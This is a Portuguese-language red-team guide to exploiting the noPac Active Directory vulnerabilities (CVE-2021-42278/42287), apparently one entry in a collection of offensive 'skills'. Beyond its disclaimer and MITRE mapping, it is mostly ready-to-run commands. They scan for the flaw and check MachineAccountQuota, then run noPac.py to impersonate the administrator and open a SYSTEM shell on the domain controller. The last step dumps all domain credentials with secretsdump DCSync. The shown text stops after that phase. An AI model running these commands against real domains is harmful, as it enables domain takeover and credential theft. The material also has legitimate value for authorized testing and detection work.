Explorando o noPac (CVE-2021-42278 / CVE-2021-42287)

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.

Visão Geral

noPac é uma cadeia crítica de exploração que combina duas vulnerabilidades do Active Directory: CVE-2021-42278 (falsificação de sAMAccountName) e CVE-2021-42287 (confusão de PAC do KDC). Juntas, elas permitem que qualquer usuário autenticado do domínio escale para privilégios de Administrador de Domínio, potencialmente alcançando o comprometimento total do domínio em menos de 60 segundos. A CVE-2021-42278 permite que um atacante modifique o atributo sAMAccountName de uma conta de máquina para corresponder ao nome de um Controlador de Domínio (menos o '$' final). A CVE-2021-42287 explora uma falha na validação do PAC do Kerberos, onde o KDC, incapaz de encontrar a conta renomeada, recorre a anexar '$' e emite um ticket para a conta do Controlador de Domínio. A Microsoft corrigiu ambas as vulnerabilidades em novembro de 2021 (KB5008380 e KB5008602), mas muitos ambientes permanecem sem correção. O exploit foi lançado publicamente por cube0x0 e Ridter em dezembro de 2021.

Quando Usar

• Ao realizar testes de segurança autorizados que envolvam a exploração de nopac cve 2021 42278 42287
• Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
• Ao conduzir exercícios de equipe vermelha ou engajamentos de teste de penetração
• Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Escanear o domínio alvo em busca da vulnerabilidade noPac (CVE-2021-42278/42287)
• Criar ou alavancar uma conta de máquina com sAMAccountName modificado
• Explorar a confusão de PAC do KDC para obter um TGT para o Controlador de Domínio
• Usar o ticket do DC para realizar DCSync e extrair credenciais do domínio
• Alcançar acesso de Administrador de Domínio a partir de uma conta de usuário de domínio padrão
• Documentar a cadeia completa de exploração com evidências

Mapeamento MITRE ATT&CK

• T1068 - Exploitation for Privilege Escalation (Exploração para Escalação de Privilégios)
• T1136.002 - Create Account: Domain Account (Criar Conta: Conta de Domínio)
• T1078.002 - Valid Accounts: Domain Accounts (Contas Válidas: Contas de Domínio)
• T1558 - Steal or Forge Kerberos Tickets (Roubar ou Forjar Tickets Kerberos)
• T1003.006 - OS Credential Dumping: DCSync (Extração de Credenciais do SO: DCSync)

Fluxo de Trabalho

Fase 1: Verificação de Vulnerabilidade

1. Verifique se o domínio é vulnerável usando o scanner noPac:

   # Using cube0x0's noPac scanner
   python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   
   # Using CrackMapExec module
   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
   

2. Verifique o MachineAccountQuota (o padrão é 10, permitindo que qualquer usuário ingresse computadores):

   # Check MachineAccountQuota via LDAP
   python3 -c "
   import ldap3
   server = ldap3.Server('10.10.10.1')
   conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
   print(conn.entries[0]['ms-DS-MachineAccountQuota'])
   "
   

Fase 2: Exploração com a Ferramenta noPac

1. Execute a cadeia completa de exploração do noPac:

   # Using cube0x0's noPac (gets a shell on the DC)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   
   # Using Ridter's noPac (alternative implementation)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     --impersonate administrator -dump
   

2. O exploit automaticamente:
   • Cria uma nova conta de máquina (ou usa uma existente)
   • Renomeia o sAMAccountName da conta de máquina para corresponder ao DC (por exemplo, "DC01")
   • Solicita um TGT para o nome da conta falsificada
   • Restaura o sAMAccountName original
   • Usa S4U2self para obter um ticket de serviço que representa o usuário alvo
   • O KDC não encontra nenhuma conta correspondente a "DC01" e recorre a "DC01$" (o DC real)

Fase 3: Pós-Exploração

1. Com o ticket do Controlador de Domínio obtido, execute o DCSync:

   # DCSync using secretsdump.py with the Kerberos ticket
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
   
   # Or directly through the noPac shell
   # The shell runs as SYSTEM on the DC
   

…